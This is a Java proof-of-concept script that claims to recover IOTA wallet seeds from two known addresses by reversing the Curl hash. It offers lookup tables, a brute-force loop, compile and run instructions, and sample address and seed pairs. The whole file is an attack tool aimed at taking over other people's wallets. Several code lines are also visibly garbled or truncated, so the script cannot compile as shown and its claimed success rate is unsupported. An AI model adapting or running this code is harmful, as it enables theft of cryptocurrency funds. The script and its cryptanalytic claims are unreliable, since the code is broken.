POC – An IOTA SEED Reverse Calculator

import jota.pow.JCurl;
import jota.utils.Converter;
import jota.utils.IotaAPIUtils;

/*
* POC - IOTA Seed Extraction if two or more addresses are known
* due to weak implementation of IOTA Curl Sponge Functions
*
* Prerequisites (libraries) required to run:
* Library jota-0.9.1.jar https://github.com/iotaledger/iota.lib.java/releases
*
* How to compile: 1) Copy this file (IOTASeedReverse.java) and jota-0.9.1.jar into any directory, then run "javac -cp jota-0.9.1.jar IOTASeedReverse.java"
* Note: min requirements: JDK7
*
* How to run: "java -classpath jota-0.9.1.jar;. IOTASeedReverse"
*
*
*/

public class IOTASeedReverse {

private static final int[] reverse_table = {0, 1, -1, -1, 0, 1, 0, -1, 1,
1, 0, -1, 1, -1, 0, -1, 1, 0,
1, -1, 0, 0, 1, -1, 1, 0, -1};

private static final int[] reverse_shifter = { // 27 * 6 * 3 IOTA CURL Sponge Expansion Matrix (reversal)
0, 1, 0, 1, 2, 0, -2, 2, -1, 2, 0, 2, 0, 1, 1, 0, 1, 2, -2, 1, -1, -1, 0, 1, 0, -1, -1,
0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, -1, 1, -2, 2, 2, 2, 1, 1, 0, 0, -1, -1, 0,
0, 0, -2, 0, 0, 1, -2, -2, 1, 1, -1, 1, -1, 1, -1, -1, 1, -1, 2, 0, 0, 1, 1, 1, 1, 1, -1,
0, 1, 2, 2, -1, 1, 0, -1, 1, 0, -1, -1, 1, 0, 0, 1, 2, -1, -2, 1, 0, -2, -2, 0, 1, 1, -2,
0, 1, 1, 2, 2, -1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, -1, -1, 0, 1, 1, 0, 0, 1, -1, -1, 0,
0, 1, 1, 0, 2, -1, -2, -1, 2, 0, 0, 1, -1, 1, 0, -1, -2, 0, 1, 1, -1, 2, 1, 1, 1, 1, 0,
0, 2, -2, -1, 0, 1, -2, 1, 2, 1, 1, 0, -2, 0, 0, 2, 0, 0, -2, -1, 2, 0, -1, 0, -2, 0, 0,
0, -1, -1, 1, 1, 0, 0, 0, 0, -2, 0, 0, 0, 1, 0, -1, -1, 0, -2, -1, -2, 1, -1, 1, 1, -1, -1,
0, -1, 1, -1, -2, 1, 2, -1, 1, 0, -2, 0, -1, -1, 1, 0, -2, -2, -1, -1, -2, 1, 1, 0, -1, -2, -1,
0, 1, 2, -2, 0, 2, 1, 1, -1, -2, 0, 2, -1, -1, -1, 1, 0, -1, 2, 0, 0, -1, 0, 0, 0, -1, 0,
0, 0, 1, 0, 0, 1, 2, -1, 2, 0, 2, 2, 2, 2, 0, -1, -2, 1, -2, 1, -1, -2, 0, 2, 1, 0, 0,
0, 2, -1, -2, 0, 1, 0, 1, 2, 1, 1, 1, -2, 0, -1, 1, 0, 2, 2, -1, 0, 0, 0, -2, 2, 0, 0,
0, -2, -1, 0, 1, -2, -1, -1, 0, 0, 1, -2, -1, 2, 1, 0, 0, -2, 0, 1, 1, 0, 1, 1, 1, 2, 1,
0, 2, 1, -2, -1, 0, -1, -1, 0, 0, -2, -1, -1, 0, -1, -1, 1, -2, -1, -1, 1, -1, -1, -2, 0, 0, -2,
0, 1, 1, 2, -1, 1, 0, -1, 2, -2, 1, 0, -1, 1, 0, 1, 0, 1, -1, -1, 1, -2, 1, 1, -2, 0, 1 ,
0, 1, 2, -1, -2, 1, 0, -1, 0, 2, 2, -1, 2, 1, -2, 0, 1, 1, -2, 0, 0, -1, 2, 1, -1, 0, 0,
0, 2, -1, -1, 1, 2, 1, 0, 0, 0, 1, 2, 1, 0, 1, -1, 1, 0, -1, -1, -1, 2, -1, 0, 0, -2, 0,
0, 0, 1, -2, 1, 0, 0, 1, -1, 0, 1, -1, -2, -1, -2, -1, -2, 0, 2, -2, 2, 2, 0, 0, -2, 0, 1
};

public static void main(String[] args) throws Exception {

// Note: The addresses must be address 0 and address 1 (the first and second index/address of the Seed to find)
// Also, the address must (!) be specified in its 81 Char format (without Checksum!)
//
// Success rate: Currently ~ 5% of tested seeds are found within 59000 iterations
// Don't worry, will improve on this.

String address1 = "CDOBQDE9YIOBCGCCDGZIFZMBSYL9HTBTEAROWMFGSRJAPLP9FWGKVZWPEPEXEZJXEHBUTIOSJOOPNGPUQ";
String address2 = "LIGRSJGFYDDDUHBT9ZLZWLSVHHRKLJDJKZTAVVUV9JHNZTZV9ESXHAHCPQHGZQHBDDWWJ9XCARNWASFYM";

// Tests/Examples:

//Address 1 CDOBQDE9YIOBCGCCDGZIFZMBSYL9HTBTEAROWMFGSRJAPLP9FWGKVZWPEPEXEZJXEHBUTIOSJOOPNGPUQ
//Address 2 LIGRSJGFYDDDUHBT9ZLZWLSVHHRKLJDJKZTAVVUV9JHNZTZV9ESXHAHCPQHGZQHBDDWWJ9XCARNWASFYM
//
//Seed to find: GVSNAWSHPJFEGHCJCKZDTBRKMZCPPHS99QRHAAQNEUGVNWDSQANKJBBHMFPJRQWOVSMMJAJMWBRY9NUAY
// ~220 iterations

//Address 1 OCZZCODX9EQX9SMLDONHTVP9EGCXNV9WO9CJYDCBAWHECYHHDCVSCFEALEEBVCXTCECMJMICGXTANVNKA
//Address 2 EGCCIHWUJJRBHXBTWRRLNNZEACIODMC9NZRVPUIVQMPXGIJQD9LGRLMQLBCIYWNXF9ZV9J9WTOCXUBIQS
//
//Seed to find: NUBWEQAPSYOLPBFMBKRPXJMMTEPJFGQZQYPZWERWWTNHAMNDB9IQOERTDIHFAMIXWHD9BXWDQXVPYUIQI
// ~40 iterations

int[] a1 = Converter.trits(address1);
int[] a2 = Converter.trits(address2);

int[] axt = new int[a1.length];
for (int i=0;i<a1.length;i++) axt[i]=0;

for (int iteration = 0; iteration < 59049; iteration++){
int keep = axt[0];
for (int s1=0; s1<axt.length-1;s1++) axt[s1]=axt[s1+1];
axt[axt.length-1]=keep;
for (int cnt = 0; cnt < a1.length; cnt++){
int t1 = 0;int t2 = 0;
for (int STEP = 1; STEP <= 5; STEP++){
t1 += ((a1[(int) (cnt%(Math.pow(3,STEP)))] - 1) 1 ? -1 : (a2[(int) (cnt%(Math.pow(3,STEP)))] + 1));
}
for (int shift = 243-cnt; shift < 243; shift++){
axt[shift] = axt[shift] + reverse_table[ (((t1+t2)+shift)<0?243-((t1+t2)+shift):((t1+t2)+shift))%27 ];
if (axt[shift] 1)axt[shift]=-1;
}
}
if ((iteration+1)%3==0){
int[] testseed = new int[243];
for (int scan = 0; scan < 486; scan+=27){
for (int offset = 0; offset=486?scan+offset-486:scan+offset]);
}
// Test seed.
String address = IotaAPIUtils.newAddress(Converter.trytes(testseed), 2, 0, false, new JCurl()); // 44/221
//
System.out.println("Testing (Iteration " + (iteration+1)+" Test "+(scan/27)+"): " + Converter.trytes(testseed));
//
if (address.equalsIgnoreCase(address1)) { // Correct seed found
System.out.println("!!!\nSeed found:" + Converter.trytes(testseed));
System.exit(0);
}
}
}
}
}
}